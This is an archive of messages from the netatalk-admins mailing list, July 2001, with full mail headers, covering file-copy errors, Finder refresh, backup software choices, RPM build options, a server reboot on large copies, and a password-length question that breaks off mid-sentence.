Sent: Wednesday, 25 July 2001 16:47
To: netatalk-admins@umich.edu
Subject: Problems copying from a CD



I was trying to recover some of our archives from a backup CD to a
netatalk share. When I try to copy entire folders at once, it hangs after
few secs with a error message:

"Could not copy files since the destination is locked"

The error message isn't probably exactly the accurate, since we use
finnish version of MacOS. It creates the folders but does not copy the
files. The weirdest thing is that when I copy separate files to the
created folder it works fine. I tried to copy the CD to my harddrive
first without any help. Normal files copied from the hd are working fine.

So is it a permission problem or not?)



From netatalk.administrators-errors@umich.edu  Thu Jul 26 00:41:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA21703
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 00:41:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id AAA23636
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 00:41:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA23609
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 00:41:38 -0400 (EDT)
Received: from graphpoint.com (atlmail2.webhosting.interliant.com [209.235.64.225])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA23577
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 00:41:37 -0400 (EDT)
Date: Thu, 26 Jul 2001 00:32:33 -0400
Message-Id: <200107260032.AA2174681402@graphpoint.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "Richard Goldman" <rgml@graphpoint.com>
Reply-To: <rgml@graphpoint.com>
To: <netatalk-admins@umich.edu>
Subject: the bizarre and the refresh
X-Mailer: <IMail v6.05>

Dear Fellow Netatalk Users:

When using netatalk in a multi-user environment, I've encountered some 
unacceptable logic issues that crop up when one or more users have a window open 
on the same directory while another user attempts to create or rename files and 
directories at or below that level in the heirarchy.

We all, I suppose, are aware that this stuff happens, and that some of the nastier 
effects can be lessened if one forceably refreshes his/her window, either by 
closing and reopening it, or forcing and event, such as creating a new file or folder.  
Then, and only then (i.e. after a refresh) can this user become aware that another 
person has been at work in the same directory.

I've checked back through nearly three years of netatalk-admin emails, searching 
for the word "refresh" and have come up with lots of people who wonder why an 
"auto-refresh" of file views isn't there, but I have yet to come across an answer 
that explains the problem, or the complexities involved.

Could someone please explain the feasibility and the issues involved in getting 
finder file views to periodically update on their own?

Thank you in advance.

-- Richard



From netatalk.administrators-errors@umich.edu  Thu Jul 26 10:58:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA04438
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 10:58:23 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA28034
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 10:58:08 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA28024
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 10:58:07 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA27955
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 10:58:05 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GH35KQ00.E4J for <netatalk-admins@umich.edu>; Thu, 26
          Jul 2001 16:58:02 +0200 
Sender: hollow@funinacapulco.mr.itd.umich.edu
Message-ID: <3B602FF7.9D8C128E@fcb-wilkens.com>
Date: Thu, 26 Jul 2001 16:57:59 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Backup Software Question
References: <000a01c11493$ba6713b0$c40e8ec6@faredge.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Chris Herrmann wrote:
> 
> amanda. see:
> 
> http://www.amanda.org
> 
> a couple of notes:
> 
> - make sure you have a tape drive that can back up your largest partition
> within one tape - amanda can't span partitions across tapes
> - it can be a little tricky to get working, but there are many excellent
> amanda mail lists, which are generally both responsive and accurate. You'll
> find links to them on the page above.
> 

For a larger network and/or more complex backup needs, arkeia, a commercial
program 
might be useful too.

It's at no cost to use for a simple system (i.e. backup of a single server without
a tape library).

H.

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Thu Jul 26 11:09:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA04815
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 11:09:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA22943
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 11:09:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22927
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 11:09:26 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA22866
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 11:09:25 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GH363D00.72V; Thu, 26 Jul 2001 17:09:13 +0200 
Sender: hollow@easycomeeasygo.mr.itd.umich.edu
Message-ID: <3B603295.2567EC81@fcb-wilkens.com>
Date: Thu, 26 Jul 2001 17:09:09 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Nigel Pegram <editor.ac@churchesofchrist.org.au>
CC: netatalk <netatalk-admins@umich.edu>
Subject: Re: DID & reiser
References: <B78482C5.2297%editor.ac@churchesofchrist.org.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Nigel Pegram wrote:
> 
> Given I installed from an rpm file, is there any way of checking what
> switches were used in the compile, e.g. --enable-lastdid? I guess I have the
> option of compiling a custom netatalk install, or installing Reiser, I'd
> rather know about what switches were enabled first though, to avoid going
> down a blind alley.

You can try and get the source RPM. The included spec file will list the options
used to compile the package. Be careful to get the correct distributor, version
AND release, because otherwise the info contained may be incorrect.

H.

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Thu Jul 26 11:10:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA04877
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 11:10:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA18783
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 11:10:29 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA18773
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 11:10:28 -0400 (EDT)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA18697
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 11:10:27 -0400 (EDT)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.3/8.11.3) with ESMTP id f6QFAde56682
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 11:10:39 -0400 (EDT)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210104b785e2d2e40e@[216.155.36.73]>
In-Reply-To: <3B602FF7.9D8C128E@fcb-wilkens.com>
References: <000a01c11493$ba6713b0$c40e8ec6@faredge.com.au>
 <3B602FF7.9D8C128E@fcb-wilkens.com>
Date: Thu, 26 Jul 2001 11:10:40 -0400
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: Backup Software Question
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-RRT-Status: UNKNOWN


	You know, another thing you can consider is something else we 
have running.  I call it a "poor man's RAID".  Just purchase 2 hard 
drives of the same size.  Use one hard drive as your working file 
server.  Back up the entire drive to the second hard drive every 
night.  That way, you have a complete backup of the system every day.

	It's simple, and it works for those "oh shoot, I just erased 
file X", and it's faster than searching for the correct tape.

	Ryan

>Chris Herrmann wrote:
> >
> > amanda. see:
> >
> > http://www.amanda.org
> >
> > a couple of notes:
> >
> > - make sure you have a tape drive that can back up your largest partition
> > within one tape - amanda can't span partitions across tapes
> > - it can be a little tricky to get working, but there are many excellent
> > amanda mail lists, which are generally both responsive and accurate. You'll
> > find links to them on the page above.
> >
>
>For a larger network and/or more complex backup needs, arkeia, a commercial
>program
>might be useful too.
>
>It's at no cost to use for a simple system (i.e. backup of a single 
>server without
>a tape library).
>
>H.
>
>--
>Harald Wagener      |                                Systemadministrator
>FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252
>An der Alster 42    |                              Fax.:+49-40-2881-1263
>20099 Hamburg       |                         http://www.fcb-wilkens.com

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
Winning is not everything, but wanting to win is.
-Vince Lombardi

From netatalk.administrators-errors@umich.edu  Thu Jul 26 12:00:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA06592
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 12:00:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA20240
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 12:00:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA20224
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 12:00:37 -0400 (EDT)
Received: from gekko.i-clue.de (server.ms-agentur.de [62.153.134.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA20168
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 12:00:35 -0400 (EDT)
Received: from i-clue.de (automatix.i-clue.de [192.168.0.112])
	by gekko.i-clue.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id SAA15287;
	Thu, 26 Jul 2001 18:07:53 +0200
Message-ID: <3B603F05.294C6500@i-clue.de>
Date: Thu, 26 Jul 2001 18:02:13 +0200
From: Christoph Sold <so@server.i-clue.de>
Reply-To: so@server.i-clue.de
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Ryan McBeth <ryan@mobiusnm.com>
CC: netatalk-admins@umich.edu
Subject: Re: Backup Software Question
References: <000a01c11493$ba6713b0$c40e8ec6@faredge.com.au>
	 <3B602FF7.9D8C128E@fcb-wilkens.com> <v04210104b785e2d2e40e@[216.155.36.73]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Ryan McBeth wrote:
> 
>         You know, another thing you can consider is something else we
> have running.  I call it a "poor man's RAID".  Just purchase 2 hard
> drives of the same size.  Use one hard drive as your working file
> server.  Back up the entire drive to the second hard drive every
> night.  That way, you have a complete backup of the system every day.
> 
>         It's simple, and it works for those "oh shoot, I just erased
> file X", and it's faster than searching for the correct tape.

Until the person asking for the backupo mentions "I had deleted this
file the day before..."

Backups to hard disks are no backups. If you want to have speedy acces
to document history, install your own CVS server. This one is much
better at getting at old version really fast. If you need security, do a
backup to removable media, and store it offsite.

>Just my EUR.02
-Christoph Sold

From netatalk.administrators-errors@umich.edu  Thu Jul 26 12:35:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA07732
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 12:35:50 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA27083
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 12:35:49 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA27063
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 12:35:49 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA27014
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 12:35:47 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id SAA03201
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 18:33:54 +0200
Message-ID: <3B604674.6C9F4B58@euc.de>
Date: Thu, 26 Jul 2001 18:33:56 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Backup Software Question
References: <000a01c11493$ba6713b0$c40e8ec6@faredge.com.au>
		 <3B602FF7.9D8C128E@fcb-wilkens.com> <v04210104b785e2d2e40e@[216.155.36.73]> <3B603F05.294C6500@i-clue.de>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA07732

Hmm,

running netatalk assumes that there is a Macintosh in the network.
What about retrospect from dantz? I've tried it here and it looks
good to me. I'm storing to a DAT-Drive at ~150MB/min.

I can use my mac - and in any circumstance Im not in the office,
someone else can handle a backup or restore, 'cause everybody can handle
the program.



Christoph Sold wrote:
> 
> Ryan McBeth wrote:
> >
> >         You know, another thing you can consider is something else we
> > have running.  I call it a "poor man's RAID".  Just purchase 2 hard
> > drives of the same size.  Use one hard drive as your working file
> > server.  Back up the entire drive to the second hard drive every
> > night.  That way, you have a complete backup of the system every day.
> >
> >         It's simple, and it works for those "oh shoot, I just erased
> > file X", and it's faster than searching for the correct tape.
> 
> Until the person asking for the backupo mentions "I had deleted this
> file the day before..."
> 
> Backups to hard disks are no backups. If you want to have speedy acces
> to document history, install your own CVS server. This one is much
> better at getting at old version really fast. If you need security, do a
> backup to removable media, and store it offsite.
> 
> >Just my EUR.02
> -Christoph Sold

-- 
--schnippe-di-schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Thu Jul 26 12:52:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA08169
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 12:52:22 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA27096
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 12:52:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA27083
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 12:52:21 -0400 (EDT)
Received: from jason02.u.washington.edu (jason02.u.washington.edu [140.142.8.52])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA27008
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 12:52:19 -0400 (EDT)
Received: from homer23.u.washington.edu (cent@homer23.u.washington.edu [140.142.8.23])
	by jason02.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QGqG034914;
	Thu, 26 Jul 2001 09:52:16 -0700
Received: from localhost (cent@localhost)
	by homer23.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QGqFF75356;
	Thu, 26 Jul 2001 09:52:15 -0700
Date: Thu, 26 Jul 2001 09:52:15 -0700 (PDT)
From: R Cent <cent@u.washington.edu>
To: Mac Conin <mconin@euc.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: Backup Software Question
In-Reply-To: <3B604674.6C9F4B58@euc.de>
Message-ID: <Pine.A41.4.33.0107260947050.68408-100000@homer23.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> running netatalk assumes that there is a Macintosh in the
> network. What about retrospect from dantz? I've tried it
> here and it looks good to me. I'm storing to a DAT-Drive at
> ~150MB/min.


This works, but it does not maintain the linux file ownership
information (owner & group) which may not be essential for your
setup.



_____________________________
Bob Cent
University of Washington
Box 357330
Seattle, WA  98195-7330

mailto: cent@u.washington.edu
voice:  206.543.1433
fax:    206.685.0305
_____________________________


From netatalk.administrators-errors@umich.edu  Thu Jul 26 12:55:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA08231
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 12:55:03 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA23020
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 12:54:49 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA23000
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 12:54:48 -0400 (EDT)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA22970
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 12:54:47 -0400 (EDT)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.3/8.11.3) with ESMTP id f6QGswe21031
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 12:54:58 -0400 (EDT)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210107b785fb66aaed@[216.155.36.73]>
In-Reply-To: <3B603F05.294C6500@i-clue.de>
References: <000a01c11493$ba6713b0$c40e8ec6@faredge.com.au>	
 <3B602FF7.9D8C128E@fcb-wilkens.com>
 <v04210104b785e2d2e40e@[216.155.36.73]> <3B603F05.294C6500@i-clue.de>
Date: Thu, 26 Jul 2001 12:54:58 -0400
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: Backup Software Question
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-RRT-Status: UNKNOWN

Christoph,

>Until the person asking for the backupo mentions "I had deleted this
>file the day before..."
>

	Oh, I agree.  Backing up to a second hard drive is not a 
substitute for of-site backups.  It's just an easy way to rectify any 
"oops, I deleted..." accidents that seem to happen most often.

	Ryan

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
Winning is not everything, but wanting to win is.
-Vince Lombardi

From netatalk.administrators-errors@umich.edu  Thu Jul 26 12:59:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA08317
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 12:59:20 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA00951
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 12:59:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA00925
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 12:59:05 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA00853
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 12:59:03 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id SAA03359;
	Thu, 26 Jul 2001 18:57:20 +0200
Message-ID: <3B604BF2.EBDD7C3C@euc.de>
Date: Thu, 26 Jul 2001 18:57:23 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: R Cent <cent@u.washington.edu>
CC: netatalk-admins@umich.edu
Subject: Re: Backup Software Question
References: <Pine.A41.4.33.0107260947050.68408-100000@homer23.u.washington.edu>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA08317

Yes, thats right - but :) there is an announcement from dantz
to support linux as well during this year.



R Cent wrote:
> 
> > running netatalk assumes that there is a Macintosh in the
> > network. What about retrospect from dantz? I've tried it
> > here and it looks good to me. I'm storing to a DAT-Drive at
> > ~150MB/min.
> 
> This works, but it does not maintain the linux file ownership
> information (owner & group) which may not be essential for your
> setup.
> 
> _____________________________
> Bob Cent
> University of Washington
> Box 357330
> Seattle, WA  98195-7330
> 
> mailto: cent@u.washington.edu
> voice:  206.543.1433
> fax:    206.685.0305
> _____________________________

-- 
--schnippe-di-schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Thu Jul 26 13:01:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA08423
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 13:01:09 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA04229
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 13:00:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA04207
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 13:00:54 -0400 (EDT)
Received: from smtp1.pandora.be (hercules.telenet-ops.be [195.130.132.33])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA04161
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 13:00:52 -0400 (EDT)
Received: (qmail 15511 invoked from network); 26 Jul 2001 17:01:05 -0000
Received: from unknown (HELO tartarus.telenet-ops.be) ([195.130.132.34]) (envelope-sender <luk.vermeylen@pandora.be>)
          by hercules.telenet-ops.be (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 26 Jul 2001 17:01:05 -0000
Received: from luk.noordland.com (D5E03C02.kabel.telenet.be [213.224.60.2])
	by tartarus.telenet-ops.be (Postfix) with SMTP id 73E96216F6F
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 19:01:05 +0200 (CEST)
Content-Type: text/plain;
  charset="iso-8859-1"
From: Luk Vermeylen <luk.vermeylen@pandora.be>
To: "netatalk" <netatalk-admins@umich.edu>
Subject: file >400MB
Date: Thu, 26 Jul 2001 19:00:33 -0400
X-Mailer: KMail [version 1.2]
MIME-Version: 1.0
Message-Id: <01072619003300.12373@luk.noordland.com>
Content-Transfer-Encoding: 8bit

Is there a problem for copying files (or directories) bigger than 400MB (or 
approx 350) to a netatalk server?
When I copy a dir >400MB from a  G4 (mac OS9), it causes a reboot from my 
linux server (RH7.1, latest netatalk)


-- 
Luk Vermeylen
Putsebaan 84
2040 Antwerpen 4
luk.vermeylen@pandora.be
+32(0)32950012

From netatalk.administrators-errors@umich.edu  Thu Jul 26 14:25:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA10998
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Jul 2001 14:25:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA11487
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Jul 2001 14:25:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA11471
	for netatalk.administrators-members@umich.edu; Thu, 26 Jul 2001 14:25:19 -0400 (EDT)
Received: from cliff.niehs.nih.gov (cliff.niehs.nih.gov [157.98.8.7])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA11423
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 14:25:18 -0400 (EDT)
Received: from cliff.niehs.nih.gov (IDENT:root@localhost.localdomain [127.0.0.1])
	by cliff.niehs.nih.gov (8.9.3/8.9.3/NIEHS-POST-1.8) with ESMTP id OAA08633
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 14:25:17 -0400
Received: from trollope.niehs.nih.gov (trollope.niehs.nih.gov [157.98.13.26])
	by cliff.niehs.nih.gov (8.9.3/8.9.3/NIEHS-PRE-1.12) with ESMTP id OAA08610
	for <netatalk-admins@umich.edu>; Thu, 26 Jul 2001 14:25:17 -0400
Received: by trollope.niehs.nih.gov with Internet Mail Service (5.5.2653.19)
	id <3DCM4WHZ>; Thu, 26 Jul 2001 14:25:38 -0400
Message-ID: <4D693F933DD8D311A18C00E018B0057608EA385B@trollope.niehs.nih.gov>
From: "Miller.Jonathan" <MILLER18@niehs.nih.gov>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: passwords longer than 8 characters
Date: Thu, 26 Jul 2001 14:25:18 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

I've got netatalk 1.4 set up and working fine on RedHat 6.2, but I'm
finding there's a problem when people have passwords longer than 8
characters.  Is there some way, maybe through a UAM, to have it accept
longer passwords?  (The end doal is actually to go and authenticate
against an NT domain using pam_smb, which is also set up just fine.  I
just run into problems with these long passwords.)

I hope this isn't a FAQ; I didn't see anything like it in the
